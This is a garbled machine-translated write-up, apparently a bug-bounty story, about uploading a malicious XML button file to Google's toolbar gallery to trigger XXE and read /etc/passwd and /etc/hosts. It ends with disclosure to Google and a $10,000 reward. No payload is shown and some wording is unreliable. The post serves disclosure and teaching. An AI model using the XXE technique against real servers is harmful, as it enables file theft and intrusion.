Hacking go luky: how did we win the Google product server?

In order to be able to follow up on the latest security warnings, we often spend time on vulnerability rewards and ctf competitions. When we discuss what we want to do this weekend, Matthias comes up with an interesting idea: What goals can we use to attack ourselves?

The answer is Google search engine.

For scanning google vulnerabilities, what can be better than google search engines. What is the most likely breakthrough?

① Old and unmaintained software ② unknown and difficult software ③ only a few people have permission to use the proprietary software ④ alpha/beta version of the software or other new technologies (still in testing Software)

For bounty hunters, there is a trick:

Based on the concept of event Association (cross-site), we began to use the google hacking technology to search for products that were acquired and used older operating systems that were not important to google.

We found the google toolbar button library. My friend and I looked at each other and joked: "This looks like a loophole." However, we didn't know that our speculation was just like google.

Soon we will find that this button Library provides users with the new control to customize their own toolbar functions. If you are a developer, you can also create your own control by uploading an xml file containing the control appearance and other data.

Fred developed a button containing an xml attack program by studying the API specification. This plan is to trigger the XXE attack, because when the search button is used, the question and field will be output.

The root cause of the XXE vulnerability is that the local xml interpreter simply interprets the XML file based on the xml document type declaration provided by the developer. Based on this, we can make some malicious use of the xml interpreter. These exploitation methods include local file access, ssrf attacks, Remote File Inclusion, denial of service attacks, and possible remote code execution. If you want to know how to deal with these problems, visit OWASP's article on how to secure the xml interpreter in different language Environments and platforms.

Despite this, our malicious files are still uploaded. Please refer to this section.

First attack:

Second attack (for verification purposes)

New handwritten text for everyone to read.

What you can see here is/etc/passwd and/etc/hosts of Google's product server. Our program proves the consequences of our intrusion ideas. We can also try to get access to other files on the google server, as well as to get its internal system information and data for ssrf attacks. The last thing we want to talk about is that this idea is great, but its consequences are too bad.

 

While celebrating the exploitation of vulnerabilities, we directly contacted google. In about 20 minutes, we received a response from google's security team. They pay great attention to this. We later communicated with them about the details of the vulnerability. During our discussion, we also asked how much the vulnerability was worth.

Below are their replies:

 

How much can a XXE get you?

The data (or other leaked data) proves that the value of $10 thousand is sufficient to complete a self-driving tour across Europe.

We uploaded a malicious XML file to a Google server and found a large XXE vulnerability. Google then funded our team's impressive European self-driving travel expenses.

Thank you for reading this article.